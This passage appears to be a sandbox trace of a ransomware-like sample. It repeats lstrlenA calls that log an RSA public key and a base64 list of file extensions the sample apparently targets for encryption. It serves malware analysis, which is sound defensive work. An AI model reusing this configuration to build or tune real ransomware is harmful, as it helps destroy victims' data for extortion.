udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA